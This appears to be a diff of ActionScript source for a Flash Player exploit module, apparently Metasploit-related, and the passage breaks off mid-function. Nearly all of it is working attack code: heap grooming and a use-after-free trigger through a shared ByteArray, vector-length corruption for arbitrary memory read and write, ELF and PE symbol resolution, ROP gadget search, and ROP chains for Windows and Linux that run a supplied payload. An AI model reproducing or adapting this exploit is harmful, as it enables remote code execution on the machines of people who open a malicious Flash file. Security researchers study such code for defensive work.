|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,281 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package
|
||||
{
|
||||
import flash.utils.*
|
||||
import flash.display.*
|
||||
import flash.system.*
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public final class Exploit extends Sprite {
|
||||
private var shared_ba:ByteArray = null
|
||||
|
||||
private var hole_ba:ByteArray = null;
|
||||
private var confuse_length_ba:ByteArray = null;
|
||||
private var fake_ba:ByteArray = null;
|
||||
private var worker:Worker = null;
|
||||
|
||||
private var byte_array_vector:Vector.<Object> = null;
|
||||
private var byte_array_vector_length:int;
|
||||
|
||||
private var object_vector:Vector.<Object> = null;
|
||||
private var object_vector_length:uint;
|
||||
|
||||
private var ba:ByteArray
|
||||
private var uv:Vector.<uint>
|
||||
private var corrupted_uv_index:uint = 0
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
private var exploiter:Exploiter
|
||||
|
||||
public function Exploit() {
|
||||
this.object_vector_length = 5770 * 2
|
||||
this.byte_array_vector_length = 510 * 2
|
||||
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
this.initialize_worker_and_ba()
|
||||
if (!this.trigger())
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
var index:uint = search_uint_vector(114, 0x40000000)
|
||||
if (index == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
this.uv = this.object_vector[this.corrupted_uv_index]
|
||||
|
||||
for (var i:uint = 0; i < object_vector.length; i++) {
|
||||
if (i != corrupted_uv_index)
|
||||
object_vector[i] = null
|
||||
}
|
||||
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||
}
|
||||
|
||||
final private function initialize_worker_and_ba():Boolean{
|
||||
this.ba = new ByteArray()
|
||||
this.ba.endian = "littleEndian"
|
||||
this.ba.length = 1024
|
||||
this.ba.writeUnsignedInt(0xdeedbeef)
|
||||
this.ba.position = 0
|
||||
|
||||
this.shared_ba = new ByteArray()
|
||||
this.shared_ba.shareable = true
|
||||
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
||||
this.shared_ba.writeUnsignedInt(252536)
|
||||
this.shared_ba.writeUnsignedInt(16777216)
|
||||
|
||||
this.confuse_length_ba = new ByteArray()
|
||||
this.confuse_length_ba.length = 0x2000
|
||||
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
||||
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
||||
|
||||
this.fake_ba = new ByteArray();
|
||||
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
||||
|
||||
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
||||
return true;
|
||||
}
|
||||
|
||||
final private function trigger():Boolean{
|
||||
// Memory massaging
|
||||
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
||||
this.fill_byte_array_vector();
|
||||
// 2. Clear the marked ByteArray
|
||||
this.hole_ba.clear();
|
||||
|
||||
// The shared_ba should be left in "shared" state
|
||||
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
||||
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
||||
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
||||
|
||||
// fake_ba *data* is going to fill the space freed from the hole
|
||||
this.fake_ba.length = 0x2000;
|
||||
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
||||
|
||||
// Trigger the vulnerability, if the memory layout is good enough
|
||||
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
||||
this.shared_ba.uncompress()
|
||||
|
||||
// So its size should be 0x2000
|
||||
if (this.shared_ba.length != 0x2000)
|
||||
{
|
||||
return false
|
||||
}
|
||||
|
||||
// Free the fake_ba and make holes on the ByteArray's
|
||||
// allocated on massaging.
|
||||
this.free_fake_and_make_holes()
|
||||
|
||||
// Fill the holes and the fake_ba data space with
|
||||
// <uint> vectors
|
||||
this.fill_with_vectors()
|
||||
|
||||
// Hopefully the shared_ba metadata, product of the vulnerability
|
||||
// at this moment point to the <uint> vectors in memory =) it means
|
||||
// game over.
|
||||
var pwn_test:uint;
|
||||
this.shared_ba.position = 0;
|
||||
pwn_test = this.shared_ba.readUnsignedInt();
|
||||
|
||||
if (pwn_test == 0xBBBBBBBB)
|
||||
{
|
||||
return false
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
||||
var i:int;
|
||||
local_ba.position = 0;
|
||||
i = 0;
|
||||
while (i < (local_ba.length / 4))
|
||||
{
|
||||
local_ba.writeInt(value);
|
||||
i++;
|
||||
};
|
||||
local_ba.position = 0;
|
||||
}
|
||||
|
||||
final private function fill_byte_array_vector():void{
|
||||
var i:int;
|
||||
var local_ba:ByteArray;
|
||||
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
||||
|
||||
i = 0;
|
||||
|
||||
while (i < this.byte_array_vector_length)
|
||||
{
|
||||
local_ba = new ByteArray();
|
||||
this.byte_array_vector[i] = local_ba;
|
||||
local_ba.endian = Endian.LITTLE_ENDIAN;
|
||||
i++;
|
||||
}
|
||||
|
||||
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
||||
if (hole_index % 2 == 0)
|
||||
{
|
||||
hole_index++;
|
||||
}
|
||||
|
||||
for(i = 0; i < this.byte_array_vector_length; i++)
|
||||
{
|
||||
local_ba = this.byte_array_vector[i] as ByteArray
|
||||
local_ba.length = 0x2000
|
||||
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
||||
local_ba.writeInt(0xbabefac0)
|
||||
local_ba.writeInt(0xbabefac1)
|
||||
local_ba.writeInt(i)
|
||||
local_ba.writeInt(0xbabefac3)
|
||||
if (i == hole_index)
|
||||
{
|
||||
this.hole_ba = local_ba;
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
final private function free_fake_and_make_holes():void {
|
||||
var i:int
|
||||
var clear_ba:ByteArray
|
||||
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
||||
|
||||
if (hole_index % 2 == 0)
|
||||
{
|
||||
hole_index++;
|
||||
}
|
||||
|
||||
for (i = 0; i < this.byte_array_vector_length; i++)
|
||||
{
|
||||
if (i == hole_index) {
|
||||
this.fake_ba.clear();
|
||||
} else {
|
||||
if (i % 2 == 1)
|
||||
{
|
||||
clear_ba = this.byte_array_vector[i] as ByteArray
|
||||
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
||||
clear_ba.clear()
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
final private function fill_with_vectors():void {
|
||||
var i:uint;
|
||||
var uint_vector:Vector.<uint>;
|
||||
var objects:Vector.<Object>;
|
||||
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
||||
|
||||
i = 0
|
||||
while (i < this.object_vector_length)
|
||||
{
|
||||
this.object_vector[i] = new Vector.<uint>()
|
||||
i++
|
||||
}
|
||||
|
||||
i = 0
|
||||
while (i < this.object_vector_length)
|
||||
{
|
||||
uint_vector = this.object_vector[i] as Vector.<uint>
|
||||
uint_vector.length = 114
|
||||
uint_vector[0] = 0xfeedbabe
|
||||
uint_vector[1] = i
|
||||
uint_vector[2] = 0xbabeface
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
// Use the corrupted shared_ba to search and corrupt the uint vector
|
||||
// Returns the offset to the *length* of the corrupted vector
|
||||
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
||||
this.shared_ba.position = 0
|
||||
var i:uint = 0
|
||||
var length:uint = 0
|
||||
var atom:uint = 0
|
||||
var mark_one:uint = 0
|
||||
var index:uint = 0
|
||||
var mark_two:uint = 0
|
||||
while (i < 0x2000) {
|
||||
length = shared_ba.readUnsignedInt()
|
||||
if (length == old_length) {
|
||||
atom = shared_ba.readUnsignedInt()
|
||||
mark_one = shared_ba.readUnsignedInt()
|
||||
index = shared_ba.readUnsignedInt()
|
||||
mark_two = shared_ba.readUnsignedInt()
|
||||
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
||||
shared_ba.position = i
|
||||
shared_ba.writeUnsignedInt(new_length)
|
||||
this.corrupted_uv_index = index
|
||||
return i;
|
||||
}
|
||||
i = i + 16
|
||||
}
|
||||
i = i + 4
|
||||
}
|
||||
return 0xffffffff
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,85 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
var i:uint
|
||||
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else if (value is ByteArray) {
|
||||
var value_length:uint = value.length
|
||||
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 114
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,399 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var op_system:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(10000)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
op_system = os
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux") {
|
||||
do_rop_linux()
|
||||
} else if (platform == "win") {
|
||||
if (op_system == "Windows 8.1") {
|
||||
do_rop_windows8()
|
||||
} else if (op_system == "Windows 7") {
|
||||
do_rop_windows()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_windows8():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var mmap:uint = libc.symbol("mmap")
|
||||
var clone:uint = libc.symbol("clone")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
